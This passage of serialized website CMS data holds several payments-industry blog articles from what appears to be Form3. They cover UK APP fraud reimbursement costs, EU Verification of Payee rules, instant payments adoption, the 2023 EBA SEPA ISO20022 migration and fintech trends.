costs:\n\n1. PSPs that already reimburse a material share of their customers’ losses on the sending side may face increased average reimbursement costs as sending PSPs, but the change may not be substantial. However, they will face substantially increased costs on the receiving side.\n\n2. PSPs that do not reimburse a material share of their customers’ APP fraud losses at present (as the sending PSP in the transaction), will become liable for significant new costs.\n\n3. PSPs on the receiving side of transactions currently account for a negligible share of reimbursement (less than 5%), and so will face substantially increased reimbursement costs under our policy.",[],{"type":3373,"text":14513,"spans":14514,"direction":445},"From all three perspectives, these increased reimbursed costs will mean that PSPs will now have much stronger incentives to invest in their fraud detection and prevention systems. The policy will also lead to much stronger incentives for sending and receiving PSPs to cooperate effectively in fraud detection and prevention. It is these additional costs – from increased spending by PSPs on their fraud detection and prevention systems – that represent the relevant cost for the purposes of our cost benefit analysis and is likely to be the most significant relevant cost that arises due to the policy.",[],"rich_text$8ad54e07-fa37-4bd7-b809-de35694fcd48",{"variation":437,"version":438,"items":14517,"primary":14518,"id":14535,"slice_type":468,"slice_label":5},[],{"body":14519},[14520,14523],{"type":988,"text":14521,"spans":14522,"direction":445},"Links",[],{"type":25,"text":14524,"spans":14525,"direction":445},"Policy Statement  |  Annex 3, Question Feedback  |  Annex 4, Cost Benefit Analysis review ",[14526,14529,14532],{"start":398,"end":2477,"type":489,"data":14527},{"link_type":491,"url":14528,"target":493},"https:\u002F\u002Fwww.psr.org.uk\u002Fpublications\u002Fpolicy-statements\u002Fps23-3-fighting-authorised-push-payment-fraud-a-new-reimbursement-requirement\u002F",{"start":703,"end":9251,"type":489,"data":14530},{"link_type":491,"url":14531,"target":493},"https:\u002F\u002Fwww.psr.org.uk\u002Fmedia\u002Flflntdwk\u002Fps23-3-annex-3-question-feedback-and-response-june-2023.pdf",{"start":1251,"end":5497,"type":489,"data":14533},{"link_type":491,"url":14534,"target":493},"https:\u002F\u002Fwww.psr.org.uk\u002Fmedia\u002Fycpd2ogg\u002Fps23-3-annex-4-cost-benefit-analysis-june-2023.pdf","rich_text$8b977506-a2e6-4418-9cab-e1a196d1fd9c",{"id":14537,"uid":14538,"type":3743,"data":14539},"alzyoREAACcAUWGN","vop",{"title":14540,"excerpt":14541,"card_image":14542,"published_date":14547,"reading_time":2375,"tag":3751,"dek":14541,"featured_image":14548,"about_form3":14553,"client_about_heading":5,"client_about_body":14554,"author_name":5,"author_title":5,"author_photo":14555,"author_bio":14556,"author_linkedin":14557,"slices":14558,"meta_title":14540,"meta_description":14541},"Verification of Payee in Europe: An overview","The new Verification of Payee (VOP) regulations by the European Banking Authority (EBA) aims to revolutionise fraud prevention and payment security across Europe. Inspired by the UK’s successful Confirmation of Payee (COP), it requires PSPs to verify payee details in real-time. Despite facing industry scepticism due to implementation complexities and costs, the long-term benefits promise enhanced security and consumer trust.",{"dimensions":14543,"alt":14540,"copyright":5,"url":14544,"id":14545,"edit":14546},{"width":412,"height":412},"\u002F_prismic-media\u002F7cfbbbd6700fd9bc-EYIhUTsnrC6-3QVY_vop.svg","EYIhUTsnrC6-3QVY",{"x":398,"y":398,"zoom":399,"background":650},"2024-07-04",{"dimensions":14549,"alt":5,"copyright":5,"url":14550,"id":14551,"edit":14552},{"width":501,"height":646},"\u002F_prismic-media\u002Ff3cb5e54f8ec4e1a-chl2l-xvVat2QiIY_8ea061ef-454a-4367-9743-f4624c2.jpg","chl2l-xvVat2QiIY",{"x":398,"y":398,"zoom":399,"background":650},[],[],{},[],{"link_type":434},[14559,14570,14581,14595,14609,14620,14640,14666],{"variation":437,"version":438,"items":14560,"primary":14561,"id":14569,"slice_type":468,"slice_label":5},[],{"body":14562},[14563,14566],{"type":988,"text":14564,"spans":14565,"direction":445},"Introduction to EBA's New Regulations",[],{"type":25,"text":14567,"spans":14568,"direction":445},"As a sure sign that summer is near, the European Banking Authority (EBA) has recently introduced new regulatory technical standards for fraud prevention and the verification of payee -  as part of the Payment Services Directive (both PSD2 and 3). These standards are ultimately aimed at enhancing the security of digital payments within the European Union, to combat more intensive and innovative attempts at fraud and to increase trust among consumers to accelerate payments digitalization.  ",[],"rich_text$a2686d97-8d5d-4549-9dcb-02b8993b5f61",{"variation":437,"version":438,"items":14571,"primary":14572,"id":14580,"slice_type":468,"slice_label":5},[],{"body":14573},[14574,14577],{"type":988,"text":14575,"spans":14576,"direction":445},"Explanation of VOP (Verification of Payee) and its importance",[],{"type":25,"text":14578,"spans":14579,"direction":445},"In reality, this means that PSPs will be required to verify the identity of a payee during the initiation of a payment, including confirming payee details in real-time before executing a SEPA Instant or SCT transaction.  ",[],"rich_text$fe957ba3-ff88-4ec1-8da4-7cdc552ac9ea",{"variation":437,"version":438,"items":14582,"primary":14583,"id":14594,"slice_type":468,"slice_label":5},[],{"body":14584},[14585,14588,14591],{"type":988,"text":14586,"spans":14587,"direction":445},"Comparison with COP in the UK",[],{"type":25,"text":14589,"spans":14590,"direction":445},"Following the success in the UK for the similarly named COP (Confirmation of Payee), we were thrilled to discover during the recent EBA Day conference in Lisbon that VOP was the Belle of the Ball in terms of topic for discussions. This was closely followed by the latest publication of the Functional Description for EBA Clearing’s FPAD solution (Fraud Pattern and Anomaly Detection), adding fuel to the fire.  ",[],{"type":25,"text":14592,"spans":14593,"direction":445},"The challenge we encountered through our engagement with key players across the European market was that the tone of discussions contained a pattern of scepticism and confusion. Holistically, it was obvious that market players struggled to understand the impact of the new regulation and which of the potential models would be optimal to address their individual requirements – something we hope to shed some light on in this article.  ",[],"rich_text$f5b104b6-45dd-4bf4-86f8-5a04c2cb6c8e",{"variation":437,"version":438,"items":14596,"primary":14597,"id":14608,"slice_type":468,"slice_label":5},[],{"body":14598},[14599,14602,14605],{"type":988,"text":14600,"spans":14601,"direction":445},"Detailed Implications for PSPs",[],{"type":25,"text":14603,"spans":14604,"direction":445},"In order to align with EPC’s (European Payment Council) regulation, EBA Clearing has created a plan for how FPAD could provide a solution, by creating a long-term plan for becoming the primary RVM (routing & verification mechanism) for the region.   ",[],{"type":25,"text":14606,"spans":14607,"direction":445},"This in turn means that PSP’s will ultimately have to make a choice from a range of no less than seven options for how they choose to utilize FPAD; three for how they’re going to act as the Requesting PSP and four when acting as the Responding PSP.   ",[],"rich_text$5b9c3ada-9233-4ca8-a43f-65497148017d",{"variation":437,"version":438,"items":14610,"primary":14611,"id":14619,"slice_type":468,"slice_label":5},[],{"body":14612},[14613,14616],{"type":988,"text":14614,"spans":14615,"direction":445},"Future Services and Technologies (FPAD, EPC EDS)",[],{"type":25,"text":14617,"spans":14618,"direction":445},"Finally, there will be an additional service available (estimated for October 2025) where FPAD will route requests based on the EPC EDS (Directory Service). This is likely to be the ‘key’ to true reachability across the region but we’ve yet to see any firm plans for what this service will entail.   ",[],"rich_text$fb79fc85-4983-422c-99bf-bd3c5e291397",{"variation":437,"version":438,"items":14621,"primary":14622,"id":14639,"slice_type":468,"slice_label":5},[],{"body":14623},[14624,14627,14630,14633,14636],{"type":988,"text":14625,"spans":14626,"direction":445},"Industry reactions and concerns",[],{"type":25,"text":14628,"spans":14629,"direction":445},"Across the industry, we can see consensus in the necessity to combat fraud, however given the diverse views on the new requirements (and how to meet them). There’s already a fatigue in yet another regulation and some low-level hesitation was detected from participants who considered not aligning with new regulation in the belief that it would be cheaper to absorb the risk of fraud versus paying for the additional services.   ",[],{"type":25,"text":14631,"spans":14632,"direction":445},"Slightly more practical (yet fundamental), it appears there’s still confusion around how clients will be expected to connect into the new VOP service.    ",[],{"type":25,"text":14634,"spans":14635,"direction":445},"Currently there’s an API consultation being undertaken to enable API’s directly into EBA Clearing, however our understanding is that there’s no certainty this service will be available before October 2025, when the first tranche of clients will be mandated to take up the VOP service. If these (or others) want to ensure connectivity and the necessary time ahead of launch to test the service, they would need to choose a different option to connect through.  ",[],{"type":25,"text":14637,"spans":14638,"direction":445},"This is where it gets complex as other options for connectivity include utilizing a small number of existing connectivity providers chosen by the EBA to provide access into the schemes. However, from discussion it seems that these are not yet ready to support this function, nor indicate a price for their future services.  ",[],"rich_text$c58368f4-d064-4890-90da-f1d6eacc140c",{"variation":437,"version":438,"items":14641,"primary":14642,"id":14665,"slice_type":468,"slice_label":5},[],{"body":14643},[14644,14647,14650,14653,14656,14659,14662],{"type":988,"text":14645,"spans":14646,"direction":445},"Cost and time implications",[],{"type":25,"text":14648,"spans":14649,"direction":445},"A further impact to the ultimate success of the service is the expected volumes and how often clients will actually make requests to the FPAD engine.  ",[],{"type":25,"text":14651,"spans":14652,"direction":445},"As the regulation currently stands, it’s intended to be utilized ahead of each payment being executed – this presents the financial institutions with the challenge of adding significant cost into every transaction, as a result of this clients have indicated that one solution to address to the cost implications of scoring every payment by the EBA is that they will likely ‘save’ (i.e. risk accept) previous responses for a period of time (be it days, weeks, months or even permanently).  ",[],{"type":25,"text":14654,"spans":14655,"direction":445},"The reasons for doing this is generally twofold: ",[],{"type":25,"text":14657,"spans":14658,"direction":445},"Firstly, it’s a time saver. The additional step of performing a FPAD request and analyse the returned response is going to add time in an already compressed payment process that is expected to complete within seconds.  ",[],{"type":25,"text":14660,"spans":14661,"direction":445},"Secondly, it comes down to cost. In a competitive market, financial institutions have for a long time now been in a race to the bottom with pricing getting forever more compressed in order to remain competitive for their end customers, this even before they can focus on winning new ones.   ",[],{"type":25,"text":14663,"spans":14664,"direction":445},"The VOP adds another cost factor to a pre-agreed pricing, especially as the regulation also stipulates that in many scenarios it cannot be charged for, and so forcing the institution to absorb the cost.   ",[],"rich_text$3607a969-efa0-45b3-90ec-322e57f0860f",{"variation":437,"version":438,"items":14667,"primary":14668,"id":14681,"slice_type":468,"slice_label":5},[],{"body":14669},[14670,14672,14675,14678],{"type":988,"text":4445,"spans":14671,"direction":445},[],{"type":25,"text":14673,"spans":14674,"direction":445},"By aligning with the new EBA regulations and implementing the FPAD\u002FVOP service, PSPs can significantly enhance the security of electronic payments, combat fraud, and build greater trust among consumers. Despite the initial confusion and cost concerns, the long-term benefits of a robust VOP system are likely to outweigh the challenges, leading to a more secure and efficient payment landscape.   ",[],{"type":25,"text":14676,"spans":14677,"direction":445},"But the road leading up to this will be rocky and and whilst we understand the ‘why’, a number of questions remains around ‘how’ and ‘when’.  ",[],{"type":25,"text":14679,"spans":14680,"direction":445}," Form3 will continue to lead the discussion in relation to this important topic and return with more insight as and when the industry develop further. Form3 will continue to strive for a fully integrated solution, working optimally for our customers and provide simplicity, resiliency and to protect the latency of the payment execution.",[],"rich_text$70c9ea65-4db3-462a-9ce5-95ddf27b8464",{"id":14683,"uid":14684,"type":3743,"data":14685},"alzy1BEAACgAUWIE","new-use-cases-needed-to-drive-instant-payments-momentum-worldwide",{"title":14686,"excerpt":14687,"card_image":14688,"published_date":14694,"reading_time":418,"tag":5813,"dek":5,"featured_image":14695,"about_form3":14701,"client_about_heading":5,"client_about_body":14702,"author_name":5,"author_title":5,"author_photo":14703,"author_bio":14704,"author_linkedin":14705,"slices":14706,"meta_title":14686,"meta_description":14687},"New Use Cases Needed to Drive Instant Payments Momentum Worldwide","Form3 US CEO Dave Scola told PYMNTS that instant payments have a long way before they reach their full potential. “I’m not disappointed by the rates of adoption, but I am disappointed by not seeing use cases developed by businesses and banks, and businesses built around banks to take advantage of these new capabilities,” he said.",{"dimensions":14689,"alt":14690,"copyright":5,"url":14691,"id":14692,"edit":14693},{"width":412,"height":412},"Fedwire","\u002F_prismic-media\u002Fb3349d2d1dd7a2b4-NDCX4Q9cCXY9zUh-_new-use-cases-needed-to-drive-i.png","NDCX4Q9cCXY9zUh-",{"x":398,"y":398,"zoom":399,"background":400},"2023-12-19",{"dimensions":14696,"alt":14697,"copyright":5,"url":14698,"id":14699,"edit":14700},{"width":501,"height":646},"Instant Payments","\u002F_prismic-media\u002F73d212e1e1d60c4d-I9-4tHs1gBrHkAOl_ef351dce-eb4f-41f5-8956-4a2c127.png","I9-4tHs1gBrHkAOl",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[14707,14732,14744,14785],{"variation":437,"version":438,"items":14708,"primary":14709,"id":14731,"slice_type":468,"slice_label":5},[],{"body":14710},[14711,14714,14717,14720],{"type":25,"text":14712,"spans":14713},"Form3 US CEO Dave Scola told PYMNTS that instant payments have a long way before they reach their full potential. ",[],{"type":25,"text":14715,"spans":14716},"“I’m not disappointed by the rates of adoption, but I am disappointed by not seeing use cases developed by businesses and banks, and businesses built around banks to take advantage of these new capabilities,” he said.",[],{"type":25,"text":14718,"spans":14719},"The conversation with Scola was part of the continuing series “What’s Next in Payments: Instant Payments: What Will Turbocharge Instant Payments Growth in 2024?”",[],{"type":25,"text":14721,"spans":14722},"Although the FedNow® Service only launched in July, and The Clearing House’s RTP® Network has been around for six years, much hinges on the “ability to demonstrate to consumers that there’s real value in a faster payment, the irrevocability of the faster payment and the potentially higher price point of a faster payment,” Scola said.",[14723,14726,14729],{"start":1951,"end":9704,"type":489,"data":14724},{"link_type":491,"url":14725,"target":493},"https:\u002F\u002Fwww.frbservices.org\u002Ffinancial-services\u002Ffednow\u002Fabout.html",{"start":4889,"end":2223,"type":489,"data":14727},{"link_type":491,"url":14728,"target":493},"https:\u002F\u002Fwww.theclearinghouse.org\u002F",{"start":855,"end":9315,"type":489,"data":14730},{"link_type":491,"url":4108,"target":493},"rich_text$82be1f6a-ed9e-466a-814d-eaeebb2e8f75",{"variation":437,"version":438,"items":14733,"primary":14734,"id":14743,"slice_type":468,"slice_label":5},[],{"body":14735},[14736],{"type":25,"text":14737,"spans":14738},"Watch: https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=https:\u002F\u002Fvimeo.com\u002F896892440",[14739],{"start":1130,"end":14740,"type":489,"data":14741},66,{"link_type":491,"url":14742},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=https:\u002F\u002Fvimeo.com\u002F896892440","rich_text$4bbb341b-e6b7-4e9b-9d5f-18ba9b001a9e",{"variation":437,"version":438,"items":14745,"primary":14746,"id":14784,"slice_type":468,"slice_label":5},[],{"body":14747},[14748,14751,14754,14757,14760,14763,14766,14769,14772,14775,14778,14781],{"type":988,"text":14749,"spans":14750,"direction":445},"Overcoming the Way It Has Always Been Done",[],{"type":25,"text":14752,"spans":14753,"direction":445},"Presently, however, firms just don’t care as much as they might about instant payments, according to Scola.",[],{"type":25,"text":14755,"spans":14756,"direction":445},"The relatively slow pace of the way it has always been done tends to be accepted by end customers until a shift in the environment fosters a reckoning with the speed of the payments themselves, he said.",[],{"type":25,"text":14758,"spans":14759,"direction":445},"Payroll offers a prime example, he noted: We’re used to being paid every two weeks, usually by ACH.",[],{"type":25,"text":14761,"spans":14762,"direction":445},"But the emergence of the gig economy in recent years, and the volatility in payments — which can range from daily to a per-project basis — have offered new use cases for instant payments.",[],{"type":25,"text":14764,"spans":14765,"direction":445},"Asked if concerns about fraud have stymied the development of new use cases, Scola contended that many stakeholders are not as cognizant about risks as they should be. The introduction of a new payment rail presents new opportunities for fraud, especially via synthetic IDs and social engineering. In the United Kingdom, there has been a demonstrated rise in push payment schemes where unwitting victims are duped by scammers impersonating a trusted counterparty.",[],{"type":25,"text":14767,"spans":14768,"direction":445},"Form3 is finalizing new features in the U.K. that leverage new algorithms to analyze the traffic that the company processes there and has seen a double-digit increase in its ability to identify fraudulent activity by examining where fund flows originate — and where they’re headed.",[],{"type":25,"text":14770,"spans":14771,"direction":445},"Interconnectivity and interoperability may help give rise to new use cases, as cross-border payments are the lifeblood of trade, Scola said. The linking between far-flung instant payment schemes already has some momentum across Latin America, Asia and Africa.",[],{"type":25,"text":14773,"spans":14774,"direction":445},"“The technical aspects of this are not that hard,” said Scola, who noted that Form3 operates as a platform that uses a single code base across all its operating regions to make routing payments simpler and more streamlined.",[],{"type":25,"text":14776,"spans":14777,"direction":445},"Along with the connectivity and infrastructure, there’s the opportunity for marketplaces and FinTechs to become more intimately involved with money movement, he said.",[],{"type":25,"text":14779,"spans":14780,"direction":445},"Outside the U.S., many of the use cases that have evolved have been created and offered by FinTechs, Scola said. Within the U.S., things are a bit more complicated because to be a direct participant of the RTP or FedNow services, a company must be a bank, have a banking license, or have a sponsor banking relationship in place.",[],{"type":25,"text":14782,"spans":14783,"direction":445},"But with those relationships in place, “you’ll see FinTechs step into the P2P space or the B2C space, introducing new solutions leveraging FedNow and RTP to solve some of these new use cases.”",[],"rich_text$0a654098-e73f-4466-9353-00e85bd09446",{"variation":437,"version":438,"items":14786,"primary":14787,"id":14795,"slice_type":468,"slice_label":5},[],{"body":14788},[14789],{"type":25,"text":14790,"spans":14791},"Originally published on PYMNTS.com",[14792],{"start":9799,"end":1131,"type":489,"data":14793},{"link_type":491,"url":14794,"target":493},"https:\u002F\u002Fwww.pymnts.com\u002Freal-time-payments\u002F2023\u002Fnew-use-cases-needed-to-drive-instant-payments-momentum-worldwide\u002F","rich_text$e45788d3-787b-451f-88ae-6b27417e83e3",{"id":14797,"uid":14798,"type":3743,"data":14799},"alzzVREAACwAUWMu","2023-eba-sepa-maintenance-release",{"title":14800,"excerpt":14801,"card_image":14802,"published_date":14807,"reading_time":418,"tag":3751,"dek":14808,"featured_image":14809,"about_form3":14814,"client_about_heading":5,"client_about_body":14815,"author_name":5,"author_title":5,"author_photo":14816,"author_bio":14817,"author_linkedin":14818,"slices":14819,"meta_title":14800,"meta_description":14801},"Navigating the 2023 EBA SEPA Maintenance Release and ISO20022 Migration","The 2023 EBA SEPA maintenance release brings significant changes with the migration to the 2019 version of ISO20022 message standards. Form3's fully managed service minimises the impact of these updates, ensuring a smooth transition while keeping clients informed and compliant.",{"dimensions":14803,"alt":14800,"copyright":5,"url":14804,"id":14805,"edit":14806},{"width":412,"height":412},"\u002F_prismic-media\u002F4cc453583eb96de6-42JATc5_l2kWj5Th_2023-eba-sepa-maintenance-relea.png","42JATc5_l2kWj5Th",{"x":398,"y":398,"zoom":399,"background":400},"2023-05-11","EBA CLEARING (EBA) is set to release its maintenance update in November 2023, and this year, the changes promise to be more significant than ever. With the migration to the 2019 version of ISO20022 message standards, the financial industry is poised to undergo a major transformation, affecting the format of messages exchanged with EBA. Fortunately, Form3, a fully managed service, is here to help minimise the impact of scheme rule changes and standardisation updates for its clients. In this article, we'll take a closer look at what these changes entail, the benefits of partnering with Form3, and how to prepare for the upcoming updates.",{"dimensions":14810,"alt":5,"copyright":5,"url":14811,"id":14812,"edit":14813},{"width":423,"height":424},"\u002F_prismic-media\u002F197bc0ec4b7e7ffb-HR_v1DnIMOGtkm8H_e223e241-c178-4a2c-a988-c60b31b.png","HR_v1DnIMOGtkm8H",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[14820,14831,14842,14853,14864,14878,14889],{"variation":437,"version":438,"items":14821,"primary":14822,"id":14830,"slice_type":468,"slice_label":5},[],{"body":14823},[14824,14827],{"type":988,"text":14825,"spans":14826,"direction":445},"Understanding the EBA SEPA Maintenance Release",[],{"type":25,"text":14828,"spans":14829,"direction":445},"The EBA SEPA maintenance release is designed to address necessary updates and improvements to ensure ongoing compliance with the rulebooks of the European Payments Council. This year, the most significant change is the migration to the 2019 version of the ISO20022 message standards. ISO20022 is a universal financial messaging standard that promotes interoperability and efficiency across different financial institutions and market infrastructures. The adoption of this updated standard will lead to improved communication, streamlined processes, and reduced costs for all parties involved.",[],"rich_text$e5d73801-d459-4416-942d-a3a3f9a5bd6c",{"variation":437,"version":438,"items":14832,"primary":14833,"id":14841,"slice_type":468,"slice_label":5},[],{"body":14834},[14835,14838],{"type":988,"text":14836,"spans":14837,"direction":445},"Minimising the Impact of Scheme Rule Changes and Standardisation Updates",[],{"type":25,"text":14839,"spans":14840,"direction":445},"The migration to the 2019 version of ISO20022 message standards will undoubtedly bring challenges to many organisations. However, Form3's expert team is well-equipped to handle these changes, minimising the impact on clients and ensuring a smooth transition. The company's deep understanding of the financial sector, combined with its commitment to continuous improvement, positions it as a trusted partner in managing the effects of scheme rule changes and standardisation updates.",[],"rich_text$9dfb5b00-01a2-439d-b7e3-02b06d57958c",{"variation":437,"version":438,"items":14843,"primary":14844,"id":14852,"slice_type":468,"slice_label":5},[],{"body":14845},[14846,14849],{"type":988,"text":14847,"spans":14848,"direction":445},"June Maintenance Release: Minor Changes with Minimal Impact",[],{"type":25,"text":14850,"spans":14851,"direction":445},"In contrast to the major changes associated with the November release, the June maintenance release of EBA primarily includes minor updates that do not impact payment processing with Form3. Nevertheless, it is crucial for organizations to review the impact assessment documents available on the EBA portal. This will help identify any potential effects on internal processes and ensure continued compliance with regulatory requirements.",[],"rich_text$3ad28820-63b7-483d-81c6-0e32e4f309f7",{"variation":437,"version":438,"items":14854,"primary":14855,"id":14863,"slice_type":468,"slice_label":5},[],{"body":14856},[14857,14860],{"type":988,"text":14858,"spans":14859,"direction":445},"Test and Adapt with Confidence",[],{"type":25,"text":14861,"spans":14862,"direction":445},"Form3 has implemented the necessary changes in our staging environment, allowing customers to test and familiarise themselves with the updates before they go live. To further support our customers, we have developed our system in such a way that clients can test against both the current code and processes, as well as the new code that will be effective from November. This allows for a thorough assessment and ensures a smooth migration to the updated standards.",[],"rich_text$76fc9bbe-5734-4673-aa93-c608320f3f0a",{"variation":437,"version":438,"items":14865,"primary":14866,"id":14877,"slice_type":468,"slice_label":5},[],{"body":14867},[14868,14871,14874],{"type":988,"text":14869,"spans":14870,"direction":445},"Early EBA Self-Certification Testing Preparedness",[],{"type":25,"text":14872,"spans":14873,"direction":445},"While EBA self-certification testing is scheduled to start early September, Form3 has made sure to be ready well in advance. This means that our customers can begin testing their changes in the staging environment ahead of the formal scheme testing, providing ample time to adapt and perfect their systems in line with the upcoming updates.",[],{"type":25,"text":14875,"spans":14876,"direction":445},"By offering a robust staging environment and early readiness for EBA self-certification testing, Form3 aims to support clients to successfully navigate the transition to the new standards, mitigating risks and maximising opportunities.  ",[],"rich_text$90111fcc-405b-4a37-8ace-ef3f747062ff",{"variation":437,"version":438,"items":14879,"primary":14880,"id":14888,"slice_type":468,"slice_label":5},[],{"body":14881},[14882,14885],{"type":988,"text":14883,"spans":14884,"direction":445},"The Importance of Staying Informed",[],{"type":25,"text":14886,"spans":14887,"direction":445},"As the financial industry continues to evolve, it is essential for organisations to stay informed about the latest regulatory changes and industry standards. Doing so not only helps maintain compliance but also enables businesses to take advantage of new opportunities for growth and innovation. Form3 is committed to keeping its clients informed and providing guidance throughout the entire process, ensuring that organisations can successfully adapt to the changing landscape.",[],"rich_text$3c8ed008-961b-4182-b1c2-178899959a55",{"variation":437,"version":438,"items":14890,"primary":14891,"id":14902,"slice_type":468,"slice_label":5},[],{"body":14892},[14893,14896,14899],{"type":988,"text":14894,"spans":14895,"direction":445},"Form3: Your Partner in Navigating the Changing Financial Landscape",[],{"type":25,"text":14897,"spans":14898,"direction":445},"The November 2023 EBA maintenance release and migration to the 2019 version of ISO20022 message standards represent significant changes within the financial sector. As organisations prepare for these updates, partnering with a reliable and experienced service provider like Form3 can be instrumental in ensuring a smooth transition.",[],{"type":25,"text":14900,"spans":14901,"direction":445},"By providing comprehensive guidance, resources, and support, Form3 minimises the impact of these changes on its clients, allowing them to maintain compliance and capitalise on new opportunities within the evolving financial landscape. With Form3's expertise and dedication to client success, organisations can confidently navigate the upcoming changes and continue to thrive in a dynamic industry.\n",[],"rich_text$2dff7395-4bf4-4d52-a498-a2cd934bf411",{"id":14904,"uid":14905,"type":3743,"data":14906},"alzy0REAAC4AUWH-","industry-focus-trends-in-fintech-that-drive-growth",{"title":14907,"excerpt":14908,"card_image":14909,"published_date":14914,"reading_time":418,"tag":5813,"dek":14908,"featured_image":14915,"about_form3":14916,"client_about_heading":5,"client_about_body":14917,"author_name":11351,"author_title":11352,"author_photo":14918,"author_bio":14921,"author_linkedin":14932,"slices":14934,"meta_title":14907,"meta_description":14908},"Industry focus: Trends in fintech that drive growth","For the past few years, fintech pioneers have been breaking new ground and pushing financial services to heights never seen before. However, post-pandemic, the fintech landscape has been a tricky place for those trying to challenge the status quo. A degree of correction has occurred as the world returns to normal and tough economic conditions are putting pressure on consumers’ wallets.",{"dimensions":14910,"alt":14907,"copyright":5,"url":14911,"id":14912,"edit":14913},{"width":412,"height":412},"\u002F_prismic-media\u002F862c85efad0192da-x5RSCVGdSOfyjNLL_industry-focus-trends-in-fintec.png","x5RSCVGdSOfyjNLL",{"x":398,"y":398,"zoom":399,"background":400},"2024-01-05",{},[],[],{"dimensions":14919,"alt":11453,"copyright":5,"url":11357,"id":11358,"edit":14920},{"width":11355,"height":11356},{"x":398,"y":398,"zoom":399,"background":400},[14922,14924,14926,14928,14930],{"type":25,"text":11362,"spans":14923,"direction":445},[],{"type":25,"text":11365,"spans":14925,"direction":445},[],{"type":25,"text":11368,"spans":14927,"direction":445},[],{"type":25,"text":11371,"spans":14929,"direction":445},[],{"type":25,"text":11374,"spans":14931,"direction":445},[],{"link_type":491,"key":14933,"url":11378,"target":493},"6fa56135-0f7a-4ba9-a8e4-7a188b605a30",[14935,14949,14969,14987,15001],{"variation":437,"version":438,"items":14936,"primary":14937,"id":14948,"slice_type":468,"slice_label":5},[],{"body":14938},[14939,14942,14945],{"type":988,"text":14940,"spans":14941,"direction":445},"Fintechs and banks as partners, not opponents",[],{"type":25,"text":14943,"spans":14944,"direction":445},"The change in outlook from an investor perspective is possibly the most important trend we have seen in fintech over the last year. The market is applying much more scrutiny to fintech organizations than it has done in the past. ",[],{"type":25,"text":14946,"spans":14947,"direction":445},"Though times are tough, there’s no need to sound the alarm just yet. Fintech is here to stay – but its relationship with traditional banking is changing. The fintech organizations that are performing best are the ones that are working alongside traditional banks, rather than in opposition to them. The solution providers in regtech and operational tech are generally doing well, and I expect to see continued investment in these providers – as long as they have established financial institutions as clients. ",[],"rich_text$3d92836e-ef75-4b10-bc80-c36d496e7628",{"variation":437,"version":438,"items":14950,"primary":14951,"id":14968,"slice_type":468,"slice_label":5},[],{"body":14952},[14953,14956,14959,14962,14965],{"type":988,"text":14954,"spans":14955,"direction":445},"Fintech is powering the digital finance revolution",[],{"type":25,"text":14957,"spans":14958,"direction":445},"While established banks look to have been riding out the economic storm well, there’s no doubt that the way people manage their money has been irreversibly changed by fintech and the digital finance revolution.",[],{"type":25,"text":14960,"spans":14961,"direction":445},"Now, banks are looking to outsource many of those components in their own consumer journeys, and customers themselves are also willing to break apart these activities among a whole set of different providers.",[],{"type":25,"text":14963,"spans":14964,"direction":445},"For instance, you might have your credit card with Apple, your deposit account with Goldman Sachs and your investments with Robin Hood. The digital financial revolution has not only seen us spread our activities among discrete providers, but also allows interoperability between them so we can move our money easily. ",[],{"type":25,"text":14966,"spans":14967,"direction":445},"Through the use of APIs and cloud architecture, financial services are now componentized from a consumer's point of view. There’s greater choice and convenience for customers, while there’s also enough competition in the market to ensure the best providers rise to the top – with underperforming institutions weeded out.",[],"rich_text$b6b19281-1fda-4280-8d4e-d6827f0595cd",{"variation":437,"version":438,"items":14970,"primary":14971,"id":14986,"slice_type":468,"slice_label":5},[],{"body":14972},[14973,14976,14983],{"type":988,"text":14974,"spans":14975,"direction":445},"One cloud good, two clouds better",[],{"type":25,"text":14977,"spans":14978,"direction":445},"When it comes to financial services, providers that rely on just a single cloud provider to handle important processes such as payments could find themselves in real trouble if that provider suffers an outage. And while resiliency is an issue that financial services organizations need to take very seriously – especially if they plan on being involved in the FedNow network – there’s another issue that being tied to just a single cloud provider raises. ",[14979],{"start":2053,"end":14980,"type":489,"data":14981},374,{"link_type":491,"url":14982,"target":493},"https:\u002F\u002Fwww.frbservices.org\u002Ffinancial-services\u002Ffednow",{"type":25,"text":14984,"spans":14985,"direction":445},"Interoperability within the broader economic infrastructure is vital for fintechs and banks that want to future-proof their operations and be able to work with any and all potential partners. Being tied to just one cloud provider could be a severe impediment. Regulators are also bound to insist on multi-cloud interoperability in the future – in order to ensure stability and maximum resiliency for services essential to the smooth operation of the economy – so it’s time for all financial institutions to get ahead of the game and move to multiple cloud providers.",[],"rich_text$fc773f09-321b-4067-a8c7-e539327186a0",{"variation":437,"version":438,"items":14988,"primary":14989,"id":15000,"slice_type":468,"slice_label":5},[],{"body":14990},[14991,14994,14997],{"type":988,"text":14992,"spans":14993,"direction":445},"AI is already shaping financial services",[],{"type":25,"text":14995,"spans":14996,"direction":445},"It’s still unclear how generative AI chatbots such as ChatGPT will impact traditional banking, but financial services organizations and banks are already adopting AI for a number of reasons. Financial analysis reports, customer support chatbots, investment advice and so on are all utilizing AI, and it's playing a key role in fraud detection. AI can deal with massive datasets very quickly, spotting trends and patterns, making it ideal for spotting fraudulent activity in payments data.",[],{"type":25,"text":14998,"spans":14999,"direction":445},"However, digital-first organizations will be able to adopt AI more quickly than traditional banks with legacy infrastructure. It's likely that the banks will look to partner with smaller AI-focused startups and technology providers rather than make heavy investments in proprietary AI tech. ",[],"rich_text$186215b9-65a2-4b4d-9d05-436109575626",{"variation":437,"version":438,"items":15002,"primary":15003,"id":15017,"slice_type":468,"slice_label":5},[],{"body":15004},[15005,15008,15011,15014],{"type":988,"text":15006,"spans":15007,"direction":445},"The future of fintech is customer-centric",[],{"type":25,"text":15009,"spans":15010,"direction":445},"The smart banks will eventually become more like holding companies for fintech investments that they've cobbled together into a solution for their customers. JP Morgan has announced that it is going to invest heavily in tech and acquisitions. ",[],{"type":25,"text":15012,"spans":15013,"direction":445},"As fintech and financial services progress into the future, banking is likely to become a much more varied experience for consumers. Banks will offer a number of different services – all held together by a single user interface – with numerous choices in each category, like a marketplace of financial services. ",[],{"type":25,"text":15015,"spans":15016,"direction":445},"Things change fast in fintech and it’s hard to predict where we will be six months from now. However, we look to be on a path towards better services and greater choice for customers, which can only be a good thing. 